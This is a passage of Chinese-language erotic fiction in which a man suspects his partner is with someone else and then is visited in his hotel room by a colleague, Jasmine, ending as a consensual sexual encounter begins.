我犹豫了一下,咬咬牙又拨了我家的电话。
铃响了,一声,两声,三声,我的心沉了下去,四声,我知道没人接可能意味什么,也知道我今晚不能再重拨。
“喂?”忽然通了,传来静熟悉的嗓音,听上去很清脆,不像躺在床上发出来的。太不像了,这反而让我有些疑心她是故意装的。
“我呀!”我忽然不知道该说些什么,总不能问:“你们干了没?”
“嗯……”她没有说下去,话语里听不出一贯的温柔。
“不方便是吧?”我这句说得很轻,免得被别人听见。
“……还好。”静一下不知道该怎么回答。
我当然知道“还好”的意思就是我猜对了。
“那不跟你说了,记住我短信里说的哦!”
“嗯。”
“byebye!”
“bye!”
挂电话的时候,我似乎听见静的轻哼声。
我强迫自己再次睡下。
许久……迷迷糊糊的当儿,“叮咚……叮咚……”该死!我睡眼惺忪地按了几下闹钟,那“叮咚”声却还在继续,我这才反应过来那是门铃在响。
看了看钟,十一点。
我一边咒骂着酒店的服务,一边披了件睡袍跌跌撞撞地过去开门。门一开,我愣住了,竟然是Jasmine!还背了个包。
她的表情有点複杂,但看到我满头乱发、满脸不可思议的样子,还是忍不住嘴角翘了翘。
“可以进来吗?”她的语气不像在询问,但当然也不是命令,更像是……撒娇?
我终於有点反应过来了,忽然觉得很久没有这么开心了,笑了笑打开了门。
Jasmine的长腿迈着轻盈的步子进了屋,把鼓鼓囊囊的背包放在了沙发上。
“包里是什么?”我有点好奇地问道。
“换的衣服。”她的脸上浮起两团红晕:“我明天早上总不能还穿这套。”
虽然在意料中,我心里还是一阵狂喜:“那为什么不换好了来?”
她的脸更红了:“我出来得有点急。”
我注视着她的眼睛,微笑渐渐爬上眼角。
“你笑的样子好坏。”她有点害羞,又有点好笑。
“要不要洗个澡?”我还是邪邪地笑着。
“嗯……”她的声音轻得像蚊子叫,转身打开了她的背包胡乱翻弄着,从侧后方我看见她的耳朵红了。
……
虽然隔着洗手间的门,我仍然能听到里面淋浴龙头的“哗哗”声。思想斗争了好一阵子,我终於忍住了开门进去的冲动。
只开了盏夜灯,我一个人在床上躺了好一阵子,期待着将要发生的。终於,Jasmine裹在白色的浴袍中出现在房间里,她的头发湿漉漉的,散乱地披在肩头。
“有吹风机吗?”
“电视机下面的抽屉里。”我柔声道。
她弯下腰吹着头发,浴袍松了,露出胸口雪白的一片肌肤,那弧线很美妙。
忽然她一抬头发现我在看她,笑了:“看什么?”
“看你。”
“我有什么好看?”
“现在这样子和平时上班的时候好不一样。”
她轻笑了一声,没有搭话,继续专心吹头发。
“你好漂亮!”
她抬头看了我一下:“骗人。”
“真的!”
“满口甜言蜜语,怪不得公司里的人都说你不是个好东西。”
“谁说的?”
“不告诉你!”
“他们都说我什么?”
“都说你好色,到处拈花惹草。”她说着笑了。
“那你怎么还喜欢我?”
“谁喜欢你了?”她噘起嘴作出一副爱理不理的样子。
我蹭的一下跳下床,一把抱住了她,不由分说,我解开她浴袍的系带,一手握住了她的乳房。她哼了一声,软倒在我怀里。
不知何时,吹风机关了,滑落在地毯上……